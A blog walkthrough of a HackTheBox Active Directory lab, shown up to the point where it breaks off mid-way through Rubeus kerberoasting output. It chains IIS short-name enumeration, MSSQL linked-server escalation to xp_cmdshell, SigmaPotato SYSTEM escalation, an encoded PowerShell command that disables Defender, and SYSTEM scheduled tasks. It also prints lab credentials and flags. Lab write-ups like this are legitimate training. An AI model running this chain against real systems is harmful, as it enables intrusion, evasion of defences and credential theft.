P.O.O

Posted Nov 2, 2026

By Mark Uchechukwu

21 min read

P.O.O

Overview

P.O.O is a small Active Directory PRO LAB from HackTheBox that puts enumeration, lateral movement and privilege escalation to the test. The goal is to compromise the perimeter host, escalate privileges and ultimately take over the domain, collecting several flags along the way.

The lab touches on:

IIS short name / .DS_Store enumeration
MSSQL linked server abuse
SeImpersonatePrivilege exploitation
IPv6 pivoting
Kerberoasting
Active Directory ACL abuse

It’s a nice, quick challenge if you want to get a feel for chaining MSSQL links into a full domain compromise.

Walkthrough

Here’s the nmap scan:

  
# Nmap 7.94SVN scan initiated Sat Oct 31 21:47:36 2026 as: nmap -vvv -p 80,1433 -4 -A -oN 10.13.38.11.scan -Pn 10.13.38.11
Nmap scan report for 10.13.38.11
Host is up, received user-set (0.15s latency).
Scanned at 2026-10-31 21:47:36 WAT for 13s

PORT     STATE SERVICE  REASON  VERSION
80/tcp   open  http     syn-ack Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
1433/tcp open  ms-sql-s syn-ack Microsoft SQL Server 2017 14.00.2056.00; RTM+
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
|_ssl-date: 2026-10-31T20:47:53+00:00; +4s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-10-31T02:11:53
| Not valid after:  2056-10-31T02:11:53
| MD5:   763d:a24c:1664:4e7c:9fe6:375d:a937:5c44
| SHA-1: c244:d858:cb73:6ad7:0465:1b5a:d0a5:829c:d562:2bd0
| -----BEGIN CERTIFICATE-----
| MIIDADCCAeigAwIBAgIQdnXjCJx1TJNP9iMxj2ds7jANBgkqhkiG9w0BAQsFADA7
| MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA
| bABsAGIAYQBjAGswIBcNMjYxMDMxMDIxMTUzWhgPMjA1NjEwMzEwMjExNTNaMDsx
| OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs
| AGwAYgBhAGMAazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAK/cIAtr
| Znd7LKBHcgOjFshrhDC2cuomZtSG/lIKqS3MHIlNEZNI+okNoUxQ8CsaOSROSORi
| kmVMIJ4Ocu74rz24he6w1l+dnp2HRy/FQA3cirCEZsv1N+18eBSmK7D2iFssg9aF
| wbIufgbOssN6by16JlpTa1cjddbKaG1kRT/Ptit1UndKINtNT86AkOQ8qYoyydEM
| +M646N9oavUn+Br5wmCPTaxIeSAiOReYxyQXByL3ij4RuaASZlOggted7rrJ3Wgq
| VvqSCPw/uVxLrqhb5tH1hPwD+AeC3kIBebCaN0TI0j3Sw+RLdaOJ1+MuQGWRkpSU
| l66CPTmu7W1cF5UCAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAYdr53aYK4YIdjkiH
| 58OLh16Ix7EU/NNrCI2BYEUM6riImAtbsFkqVb1TZXVh6x8vL4hGUaAYUUmXSHMv
| k8K8L8vYY2Wo5JhCDa87DiJDvOlVolhy1xi6Kvznpmgkc6hNmJaJAD4wggfoBYmP
| twuw/vrnn6bZ+L5IsjlCDrJQ269zeGyvRL9euHv+41z3ckmv6ylr+ogPrtppeJVG
| RcRJCYtNhNzg+bb1hi52SRSJFHtZ4vUsDH7/xgafx0Pn91UuQP0PMAR5poA6q2+n
| q1lo6SUmslGOt1Lysr9iyPX4BZkMrehouvjbgo1lK3r5cjw9E4mmfyAgzwQy5tSd
| H4YXtQ==
|_-----END CERTIFICATE-----
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 3s

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Oct 31 21:47:49 2026 -- 1 IP address (1 host up) scanned in 13.40 seconds

The IIS server is vulnerable to short name (tilde) enumeration:

mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$ shortscan --concurrency 10 http://10.13.38.11/
🌀 Shortscan v0.9.2 · an IIS short filename enumeration tool by bitquark

════════════════════════════════════════════════════════════════════════════════
URL: http://10.13.38.11/
Running: Microsoft-IIS/10.0
Vulnerable: Yes!
════════════════════════════════════════════════════════════════════════════════
WEB~1.CON            WEB.CON?   
NEWFOL~2             NEWFOL?             NEW%20FOLDER
DS_STO~1             DS_STO?             .DS_STORE
NEWFOL~1             NEWFOL?    
TRASHE~1             TRASHE?             .TRASHES
TEMPLA~1             TEMPLA?             TEMPLATES
════════════════════════════════════════════════════════════════════════════════

One of the leaked short names is .DS_STORE, which is present on the webserver:

http://10.13.38.11/.DS_STORE

We can walk it to recover the directory structure:

  
mark@rwx:~/Desktop/Tools/DS_Walk$ python3 ds_walk.py -u "http://10.13.38.11/"
[!] .ds_store file is present on the webserver.
[+] Enumerating directories based on .ds_server file:
----------------------------
[!] http://10.13.38.11//admin
[!] http://10.13.38.11//dev
[!] http://10.13.38.11//iisstart.htm
[!] http://10.13.38.11//Images
[!] http://10.13.38.11//JS
[!] http://10.13.38.11//META-INF
[!] http://10.13.38.11//New folder
[!] http://10.13.38.11//New folder (2)
[!] http://10.13.38.11//Plugins
[!] http://10.13.38.11//Templates
[!] http://10.13.38.11//Themes
[!] http://10.13.38.11//Uploads
[!] http://10.13.38.11//web.config
[!] http://10.13.38.11//Widgets
----------------------------
[!] http://10.13.38.11//dev/304c0c90fbc6520610abbf378e2339d1
[!] http://10.13.38.11//dev/dca66d38fd916317687e1390a420c3fc
----------------------------
[!] http://10.13.38.11//dev/304c0c90fbc6520610abbf378e2339d1/core
[!] http://10.13.38.11//dev/304c0c90fbc6520610abbf378e2339d1/db
[!] http://10.13.38.11//dev/304c0c90fbc6520610abbf378e2339d1/include
[!] http://10.13.38.11//dev/304c0c90fbc6520610abbf378e2339d1/src
----------------------------
[!] http://10.13.38.11//dev/dca66d38fd916317687e1390a420c3fc/core
[!] http://10.13.38.11//dev/dca66d38fd916317687e1390a420c3fc/db
[!] http://10.13.38.11//dev/dca66d38fd916317687e1390a420c3fc/include
[!] http://10.13.38.11//dev/dca66d38fd916317687e1390a420c3fc/src
----------------------------
[!] http://10.13.38.11//Images/buttons
[!] http://10.13.38.11//Images/icons
[!] http://10.13.38.11//Images/iisstart.png
----------------------------
[!] http://10.13.38.11//JS/custom
----------------------------
[!] http://10.13.38.11//Themes/default
----------------------------
[!] http://10.13.38.11//Widgets/CalendarEvents
[!] http://10.13.38.11//Widgets/Framework
[!] http://10.13.38.11//Widgets/Menu
[!] http://10.13.38.11//Widgets/Notifications
----------------------------
[!] http://10.13.38.11//Widgets/Framework/Layouts
----------------------------
[!] http://10.13.38.11//Widgets/Framework/Layouts/custom
[!] http://10.13.38.11//Widgets/Framework/Layouts/default
----------------------------
[*] Finished traversing. No remaining .ds_store files present.
[*] Cleaning up .ds_store files saved to disk.
mark@rwx:~/Desktop/Tools/DS_Walk$

Running shortscan against the db directory reveals a partial filename:

  
mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$ shortscan --concurrency 10 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db
🌀 Shortscan v0.9.2 · an IIS short filename enumeration tool by bitquark

════════════════════════════════════════════════════════════════════════════════
URL: http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
Running: Microsoft-IIS/10.0
Vulnerable: Yes!
════════════════════════════════════════════════════════════════════════════════
POO_CO~1.TXT         POO_CO?.TXT? 
════════════════════════════════════════════════════════════════════════════════

Finished! Requests: 161; Retries: 0; Sent 37014 bytes; Received 63287 bytes

Since the filename is incomplete and we know there’s a mssql service running, we can attempt to fuzz the remaining part of the file.

  
mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$ egrep -r ^co /usr/share/Seclists/* | sed 's/^[^:]*://' > /tmp/list.txt
mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$ wc -l /tmp/list.txt
1215302 /tmp/list.txt
mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$ ffuf -c -u "http://10.13.38.11/dev/304c0c90fbc6520610abbf378e2339d1/db/Poo_FUZZ.txt" -w /tmp/list.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.13.38.11/dev/304c0c90fbc6520610abbf378e2339d1/db/Poo_FUZZ.txt
 :: Wordlist         : FUZZ: /tmp/list.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

connection              [Status: 200, Size: 142, Words: 3, Lines: 7, Duration: 170ms]

The full filename is Poo_connection.txt:

http://10.13.38.11/dev/304c0c90fbc6520610abbf378e2339d1/db/Poo_connection.txt

Which hands us a set of MSSQL credentials and the first flag:

SERVER=10.13.38.11
USERID=external_user
DBNAME=POO_PUBLIC
USERPWD=#p00Public3xt3rnalUs3r#

Flag : POO{fcfb0767f5bd3cbc22f40ff5011ad555}

The credential works for MSSQL:

  
mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$ mssqlclient.py external_user@10.13.38.11
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 1: Changed database context to 'master'.
[*] INFO(COMPATIBILITY\POO_PUBLIC): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 88) 
[!] Press help for extra shell commands
SQL (external_user  external_user@master)> help

    lcd {path}                 - changes the current local directory to {path}
    exit                       - terminates the server process (and this session)
    enable_xp_cmdshell         - you know what it means
    disable_xp_cmdshell        - you know what it means
    enum_db                    - enum databases
    enum_links                 - enum linked servers
    enum_impersonate           - check logins that can be impersonated
    enum_logins                - enum login users
    enum_users                 - enum current db users
    enum_owner                 - enum db owner
    exec_as_user {user}        - impersonate with execute as user
    exec_as_login {login}      - impersonate with execute as login
    xp_cmdshell {cmd}          - executes cmd using xp_cmdshell
    xp_dirtree {path}          - executes xp_dirtree on the path
    sp_start_job {cmd}         - executes cmd using the sql server agent (blind)
    use_link {link}            - linked server to use (set use_link localhost to go back to local or use_link .. to get back one step)
    ! {cmd}                    - executes a local shell cmd
    show_query                 - show query
    mask_query                 - mask query
    
SQL (external_user  external_user@master)> enum_owner
Database     Owner           
----------   -------------   
master       sa              
tempdb       sa              
POO_PUBLIC   external_user   

We are not the database admin on this server:

  
SQL (external_user  external_user@master)> enum_logins
name            type_desc   is_disabled   sysadmin   securityadmin   serveradmin   setupadmin   processadmin   diskadmin   dbcreator   bulkadmin   
-------------   ---------   -----------   --------   -------------   -----------   ----------   ------------   ---------   ---------   ---------   
sa              SQL_LOGIN             0          1               0             0            0              0           0           0           0   
external_user   SQL_LOGIN             0          0               0             0            0              0           0           0           0   

There’s a linked server COMPATIBILITY\POO_CONFIG:

  
SQL (external_user  external_user@master)> enum_links
SRV_NAME                   SRV_PROVIDERNAME   SRV_PRODUCT   SRV_DATASOURCE             SRV_PROVIDERSTRING   SRV_LOCATION   SRV_CAT   
------------------------   ----------------   -----------   ------------------------   ------------------   ------------   -------   
COMPATIBILITY\POO_CONFIG   SQLNCLI            SQL Server    COMPATIBILITY\POO_CONFIG   NULL                 NULL           NULL      
COMPATIBILITY\POO_PUBLIC   SQLNCLI            SQL Server    COMPATIBILITY\POO_PUBLIC   NULL                 NULL           NULL      

We aren’t a db admin on it either:

  
SQL (external_user  external_user@master)> use_link "COMPATIBILITY\POO_CONFIG"
SQL >"COMPATIBILITY\POO_CONFIG" (internal_user  internal_user@master)> enum_logins
name            type_desc   is_disabled   sysadmin   securityadmin   serveradmin   setupadmin   processadmin   diskadmin   dbcreator   bulkadmin   
-------------   ---------   -----------   --------   -------------   -----------   ----------   ------------   ---------   ---------   ---------   
sa              SQL_LOGIN             0          1               0             0            0              0           0           0           0   
internal_user   SQL_LOGIN             0          0               0             0            0              0           0           0           0   

However, when we connect to COMPATIBILITY\POO_PUBLIC from POO_CONFIG, it is executed as the sa user:

  
SQL >"COMPATIBILITY\POO_CONFIG" (internal_user  internal_user@master)> use_link "COMPATIBILITY\POO_PUBLIC"
SQL >"COMPATIBILITY\POO_CONFIG">"COMPATIBILITY\POO_PUBLIC" (sa  dbo@master)> 

We can enable xp_cmdshell:

  
SQL >"COMPATIBILITY\POO_CONFIG">"COMPATIBILITY\POO_PUBLIC" (sa  dbo@master)> enable_xp_cmdshell
INFO(COMPATIBILITY\POO_PUBLIC): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
ERROR(COMPATIBILITY\POO_PUBLIC): Line 11: Attempt to enable xp_cmdshell detected. Database Administrators will be notified!
ERROR(COMPATIBILITY\POO_PUBLIC): Line 181: The transaction ended in the trigger. The batch has been aborted.
SQL >"COMPATIBILITY\POO_CONFIG">"COMPATIBILITY\POO_PUBLIC" (sa  dbo@master)> RECONFIGURE
SQL >"COMPATIBILITY\POO_CONFIG">"COMPATIBILITY\POO_PUBLIC" (sa  dbo@master)> xp_cmdshell "whoami"
output                        
---------------------------   
nt service\mssql$poo_public   

The command runs as the MSSQL service account, which holds SeImpersonatePrivilege, so we can abuse that to get nt authority\system.

I’d need to upload SigmaPotato to the box (Windows Defender is enabled, but we can bypass it).

Since I don’t know the sa user password, I first escalated external_user to sysadmin:

  
SQL >"COMPATIBILITY\POO_CONFIG">"COMPATIBILITY\POO_PUBLIC" (sa  dbo@master)> ALTER SERVER ROLE [sysadmin] ADD MEMBER [external_user];
SQL >"COMPATIBILITY\POO_CONFIG">"COMPATIBILITY\POO_PUBLIC" (sa  dbo@master)>

Then uploaded SigmaPotato over MSSQL:

  
mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$ nxc mssql 10.13.38.11 -u external_user -p '#p00Public3xt3rnalUs3r#' --local-auth --put-file /home/mark/Desktop/Tools/Windows/SigmaPotato.exe "C:\users\public\SigmaPotato.exe"
MSSQL       10.13.38.11     1433   COMPATIBILITY    [*] Windows 10 / Server 2019 Build 17763 (2017  14.0.2056) (name:COMPATIBILITY) (domain:intranet.poo) (EncryptionReq:False) 
MSSQL       10.13.38.11     1433   COMPATIBILITY    [+] COMPATIBILITY\external_user:#p00Public3xt3rnalUs3r# (Pwn3d!)
MSSQL       10.13.38.11     1433   COMPATIBILITY    [*] Copy /home/mark/Desktop/Tools/Windows/SigmaPotato.exe to C:\users\public\SigmaPotato.exe
MSSQL       10.13.38.11     1433   COMPATIBILITY    [*] Size is 63488 bytes
MSSQL       10.13.38.11     1433   COMPATIBILITY    [+] File has been uploaded on the remote machine
mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$ 

With sysadmin, we can run SigmaPotato through xp_cmdshell to confirm we land as SYSTEM:

  
SQL (external_user  dbo@master)> xp_cmdshell "c:\users\public\SigmaPotato.exe whoami"
output                                                                             
--------------------------------------------------------------------------------   
[+] GetBindingIdentityFromStream: sigmapotato, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil   

[?] Printing TargetAssembly otherwise it dies because of Go GC &{0x51658940000 0x51658926000 63488 <nil>}   
[+] Set Custom Host Successfully
[+] Started CLR Succesfully                                                      
[+] Starting Pipe Server...
[+] Created Pipe Name: \\.\pipe\SigmaPotato\pipe\epmapper                        
[+] Pipe Connected!                                                              
[+] Impersonated Client: NT AUTHORITY\NETWORK SERVICE                            
[+] Searching for System Token...
[+] PID: 972 | Token: 0x864 | User: NT AUTHORITY\SYSTEM                          
[+] Found System Token: True
[+] Duplicating Token...
[+] New Token Handle: 1112                                                       
[+] Current Command Length: 6 characters
[+] Creating Process via 'CreateProcessAsUserW'                                  
[+] Process Started with PID: 5332                                              
NULL                                                                             
[+] Process Output:                                                             
nt authority\system
NULL
Done Executing ......................                                            
NULL
SQL (external_user  dbo@master)> 

The web application requires authentication when we access /admin, so we can read the configuration at C:\inetpub\wwwroot\web.config to recover the credentials.

But before that, I disabled Defender:

  
SQL (external_user  dbo@master)> xp_cmdshell "\users\public\SigmaPotato.exe "powershell -enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAFQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA="
output                                                                             
--------------------------------------------------------------------------------   
[+] GetBindingIdentityFromStream: sigmapotato, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil   

[?] Printing TargetAssembly otherwise it dies because of Go GC &{0x14015a998180 0x14015aae4000 63488 <nil>}   

[+] Set Custom Host Successfully                                                 
[+] Started CLR Succesfully                                                      
[+] Starting Pipe Server...                                                     
[+] Created Pipe Name: \\.\pipe\SigmaPotato\pipe\epmapper                        
[+] Pipe Connected!                                                              
[+] Impersonated Client: NT AUTHORITY\NETWORK SERVICE                            
[+] Searching for System Token...                                              
[+] PID: 972 | Token: 0x864 | User: NT AUTHORITY\SYSTEM                          
[+] Found System Token: True                                                     
[+] Duplicating Token...                                                         [+] New Token Handle: 1180                                                      
[+] Current Command Length: 148 characters                                       
[+] Creating Process via 'CreateProcessAsUserW'                                  
[+] Process Started with PID: 5344                                               
NULL                                                                            
[+] Process Output:                                                              
NULL                                                                             
Done Executing ......................                                            
NULL                                                                             
SQL (external_user  dbo@master)> 

Then copied web.config to web.txt so we can read it over HTTP:

  
Copy-Item c:\inetpub\wwwroot\web.config c:\users\public\web.txt

It gives us the Administrator credential:

Administrator:EverybodyWantsToWorkAtP.O.O.

Which lets us reach /admin and grab the next flag:

  
mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$ curl -s http://administrator:EverybodyWantsToWorkAtP.O.O.@10.13.38.11/admin/
"I can't go back to yesterday, because i was a different person then..."<br>
- Alice in Wonderland<br>
<br>
Flag : POO{4882bd2ccfd4b5318978540d9843729f}
mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$ 

There’s winrm (5985) listening locally:

  
SQL >"COMPATIBILITY\POO_CONFIG">"COMPATIBILITY\POO_PUBLIC" (sa  dbo@master)> xp_cmdshell "netstat -ano"
output                                                                        
---------------------------------------------------------------------------   
Active Connections                                                            

  Proto  Local Address          Foreign Address        State           PID    
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       4      
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       972    
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4      
  TCP    0.0.0.0:1433           0.0.0.0:0              LISTENING       4996   
  TCP    0.0.0.0:5357           0.0.0.0:0              LISTENING       4      
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4      

It’s only bound locally, but the box has an IPv6 address we can reach it on:

  
SQL (external_user  dbo@master)> xp_cmdshell "ipconfig"
output                                                                  
---------------------------------------------------------------------   
Windows IP Configuration                                                

Ethernet adapter Ethernet0 2:                                           
   Connection-specific DNS Suffix  . :                                  
   IPv6 Address. . . . . . . . . . . : dead:beef::1001                  
   IPv6 Address. . . . . . . . . . . : dead:beef::f638:ba0c:6dd4:8cb1   
   Link-local IPv6 Address . . . . . : fe80::c184:ac93:1075:abe4%8      
   IPv4 Address. . . . . . . . . . . : 10.13.38.11                      
   Subnet Mask . . . . . . . . . . . : 255.255.255.0                    
   Default Gateway . . . . . . . . . : dead:beef::1                     
                                       fe80::250:56ff:fe94:ea57%8       
                                       10.13.38.2                       

Ethernet adapter Ethernet1 2:                                           
   Connection-specific DNS Suffix  . :                                  
   IPv4 Address. . . . . . . . . . . : 172.20.128.101                   
   Subnet Mask . . . . . . . . . . . : 255.255.255.0                    
   Default Gateway . . . . . . . . . :                                  

Scanning port 5985 over IPv6 shows it’s open on dead:beef::1001:

  
mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$ nmap -6 dead:beef::f638:ba0c:6dd4:8cb1 -p5985
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-11-02 10:53 WAT
Nmap scan report for dead:beef::f638:ba0c:6dd4:8cb1
Host is up (0.33s latency).

PORT     STATE    SERVICE
5985/tcp filtered wsman

Nmap done: 1 IP address (1 host up) scanned in 3.72 seconds
mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$ nmap -6 dead:beef::1001 -p5985
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-11-02 10:53 WAT
Nmap scan report for dead:beef::1001
Host is up (0.25s latency).

PORT     STATE SERVICE
5985/tcp open  wsman

Nmap done: 1 IP address (1 host up) scanned in 2.72 seconds
mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$ 

Since winrm is open, we can log into it:

  
mark@rwx:~/Desktop/Labs/HTB/ProLABS/POO$ evil-winrm-py -u administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i dead:beef::1001
          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.7.0

[*] Connecting to 'dead:beef::1001:5985' as 'administrator'
evil-winrm-py PS C:\Users\Administrator\Documents> cd ..\desktop
evil-winrm-py PS C:\Users\Administrator\desktop> ls

    Directory: C:\Users\Administrator\desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        3/26/2018   5:29 PM             37 flag.txt

evil-winrm-py PS C:\Users\Administrator\desktop> more flag.txt
POO{ff87c4fe10e2ef096f9a96a01c646f8f}

There’s another network interface pointing at an internal domain:

  
evil-winrm-py PS C:\Users\Administrator> ping intranet.poo

Pinging intranet.poo [172.20.128.53] with 32 bytes of data:
Reply from 172.20.128.53: bytes=32 time<1ms TTL=128
Reply from 172.20.128.53: bytes=32 time<1ms TTL=128
Reply from 172.20.128.53: bytes=32 time<1ms TTL=128
Reply from 172.20.128.53: bytes=32 time<1ms TTL=128

Ping statistics for 172.20.128.53:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms
evil-winrm-py PS C:\Users\Administrator> ping DC

Pinging DC.intranet.poo [172.20.128.53] with 32 bytes of data:
Reply from 172.20.128.53: bytes=32 time<1ms TTL=128
Reply from 172.20.128.53: bytes=32 time<1ms TTL=128
Reply from 172.20.128.53: bytes=32 time<1ms TTL=128
Reply from 172.20.128.53: bytes=32 time<1ms TTL=128

Ping statistics for 172.20.128.53:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms
evil-winrm-py PS C:\Users\Administrator>

The DC (DC.intranet.poo) sits at 172.20.128.53. Since we can’t enumerate the domain as the local Administrator, we need to run in the context of the computer account or SYSTEM.

But even if we authenticate to winrm as the computer account, the Kerberos double hop is still in the way.

For some reason, SigmaPotato refuses to work here, we can use a scheduled task to execute commands as SYSTEM instead:

  
- schtasks /create /tn sysout /tr "cmd /c whoami > C:\Windows\Temp\o.txt 2>&1" /sc once /st 23:59 /ru SYSTEM /f
- schtasks /run /tn sysout
- Start-Sleep 60
- type C:\Windows\Temp\o.txt
- schtasks /delete /tn sysout /f

Using that pattern to enumerate domain users:

  
evil-winrm-py PS C:\Users\Administrator\Documents> schtasks /create /tn sysout /tr "cmd /c net user /domain > C:\Windows\Temp\o.txt 2>&1" /sc once /st 23:59 /ru SYSTEM /f
SUCCESS: The scheduled task "sysout" has successfully been created.
evil-winrm-py PS C:\Users\Administrator\Documents> schtasks /run /tn sysout
SUCCESS: Attempted to run the scheduled task "sysout".
evil-winrm-py PS C:\Users\Administrator\Documents> Start-Sleep 3
evil-winrm-py PS C:\Users\Administrator\Documents> type C:\Windows\Temp\o.txt
The request will be processed at a domain controller for domain intranet.poo.

User accounts for \\DC.intranet.poo

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest                    
krbtgt                   mr3ks                    p00_adm                  
p00_dev                  p00_hr                   
The command completed with one or more errors.

evil-winrm-py PS C:\Users\Administrator\Documents> schtasks /delete /tn sysout /f
SUCCESS: The scheduled task "sysout" was successfully deleted.

Now we can upload SharpHound and create a scheduled task to run it:

  
evil-winrm-py PS C:\Users\Administrator\Documents> schtasks /create /tn sysout /tr "cmd /c C:\Users\Administrator\Documents\SharpHound.exe -c All -d intranet.poo --zipfilename intranet --outputdirectory c:\users\administrator\documents" /sc once /st 23:59 /ru SYSTEM /f
SUCCESS: The scheduled task "sysout" has successfully been created.
evil-winrm-py PS C:\Users\Administrator\Documents> schtasks /run /tn sysout
SUCCESS: Attempted to run the scheduled task "sysout".
evil-winrm-py PS C:\Users\Administrator\Documents> ls

    Directory: C:\Users\Administrator\Documents

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        11/2/2026   1:40 PM          32620 20261102134012_intranet.zip
-a----        11/2/2026   1:40 PM           1553 OTM1MzQ0ZGMtYjQyMS00OTQyLWEzMDYtZDVlNzVmNzkwNWVm.bin
-a----        11/2/2026   1:37 PM        1351680 SharpHound.exe
evil-winrm-py PS C:\Users\Administrator\Documents> download 20261102134012_intranet.zip
Downloading C:\Users\Administrator\Documents\20261102134012_intranet.zip: 64.0kB [00:00, 318MB/s]                                                                                            
[+] File downloaded successfully and saved as: /home/mark/Desktop/Labs/HTB/ProLABS/POO/20261102134012_intranet.zip
evil-winrm-py PS C:\Users\Administrator\Documents>

Uploading the data to BloodHound shows that we have 2 kerberoastable users:

P00_ADM
P00_HR

The attack path looks like this:

P00_ADM@INTRANET.POO is a member of the group P00 HELP DESK@INTRANET.POO
Members of P00 HELP DESK@INTRANET.POO have GenericAll over ADMINISTRATOR@INTRANET.POO and MR3KS@INTRANET.POO
MR3KS@INTRANET.POO is a member of DOMAIN ADMINS@INTRANET.POO

So if we can crack the P00_ADM hash, we get a path to Domain Admin by resetting the password of either MR3KS or Administrator.

We can use Rubeus to request the hashes:

  
evil-winrm-py PS C:\Users\Administrator\Documents> schtasks /create /tn sysout /tr "cmd /c C:\users\administrator\documents\Rubeus.exe kerberoast /nowrap > C:\Windows\Temp\o.txt 2>&1" /sc once /st 23:59 /ru SYSTEM /f
SUCCESS: The scheduled task "sysout" has successfully been created.
evil-winrm-py PS C:\Users\Administrator\Documents> schtasks /run /tn sysout
SUCCESS: Attempted to run the scheduled task "sysout".
evil-winrm-py PS C:\Users\Administrator\Documents> Start-Sleep 60
evil-winrm-py PS C:\Users\Administrator\Documents> type C:\Windows\Temp\o.txt

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0 


[*] Action: Kerberoasting

[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.

[*] Target Domain          : intranet.poo
[*] Searching path 'LDAP://DC.intranet.poo/DC=intranet,DC=poo' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'

[*] Total kerberoastable users : 2


[*] SamAccountName         : p00_hr
[*] DistinguishedName      : CN=p00_hr,CN=Users,DC=intranet,DC=poo
[*] ServicePrincipalName   : HR_peoplesoft/intranet.poo:1433
[*] PwdLastSet             : 5/11/2018 6:32:09 AM
[*] Supported ETypes       : RC4_HMAC_DEFAULT
